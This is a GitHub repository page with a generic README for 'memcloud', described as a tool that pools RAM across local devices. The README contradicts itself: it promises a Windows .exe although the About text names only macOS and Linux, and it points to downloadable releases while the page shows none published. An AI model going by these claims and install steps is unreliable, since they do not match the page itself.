Skip to content

☁️ Harness nearby devices to create a distributed in-memory data store, pooling RAM for fast and ephemeral storage on macOS and Linux systems.

License

Notifications You must be signed in to change notification settings

Syahirkafa/memcloud

Repository files navigation

🌟 memcloud - Create Your Own Shared Storage Cloud

🚀 Getting Started

Welcome to MemCloud! This easy-to-use application lets you combine the memory of several computers to create a shared storage space. Follow the steps below to start using MemCloud on your local network.

📥 Download MemCloud

Download MemCloud

📋 System Requirements

Before you download, make sure your system meets the following requirements:

  • Operating System: Windows 10 or higher, macOS (latest version), or Linux (latest version).
  • RAM: At least 4 GB available.
  • Network Connection: Connected to your local network for efficient data sharing.

🔧 Features

  • Distributed Storage: Easily shares the RAM of connected devices.
  • User-Friendly Interface: Simple commands to manage storage.
  • Cross-Platform Support: Build your cloud with any combination of macOS, Windows, and Linux machines.
  • Ephemeral Storage: Data is temporary, ensuring privacy and security.
  • Local Network Optimization: Fast and efficient data transfer within your LAN.

📥 Download & Install

To get started, visit this page to download: MemCloud Releases.

  1. Open the link above.
  2. Choose the version that matches your operating system.
  3. Click on the download link for your chosen version.
  4. Once the download is complete, locate the file on your device.

🖥️ Installation Steps

  • For Windows:

    1. Double-click the downloaded .exe file.
    2. Follow the on-screen prompts to install.
  • For macOS:

    1. Open the downloaded .dmg file.
    2. Drag the MemCloud icon to your Applications folder.
  • For Linux:

    1. Extract the downloaded file using the terminal or file manager.
    2. Run the provided installer script.

🚀 Starting MemCloud

After installation:

  1. Launch the application from your desktop or applications folder.
  2. Follow the setup wizard to connect your devices to the local network.
  3. Start sharing your RAM across the network.

📊 How to Use MemCloud

  • Creating a Storage Node: Once launched, you will see a button to create a new storage node. Click it and follow the instructions.
  • Joining an Existing Node: To join a node, enter the IP address or hostname of the device acting as the node storage.
  • Usage Monitoring: Use the dashboard to view RAM usage, connected nodes, and storage availability.

🔒 Security Considerations

Ensure that your local network is secured to prevent unauthorized access. Use strong passwords and keep your software updated to maintain optimal security.

📖 Additional Resources

For more information, please refer to the following:

📞 Contact

If you encounter any issues or have questions, feel free to reach out:

Thank you for choosing MemCloud! We hope you enjoy building your shared storage solution.

About

☁️ Harness nearby devices to create a distributed in-memory data store, pooling RAM for fast and ephemeral storage on macOS and Linux systems.

Topics

Resources

License

Contributing

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors 2

  •  
  •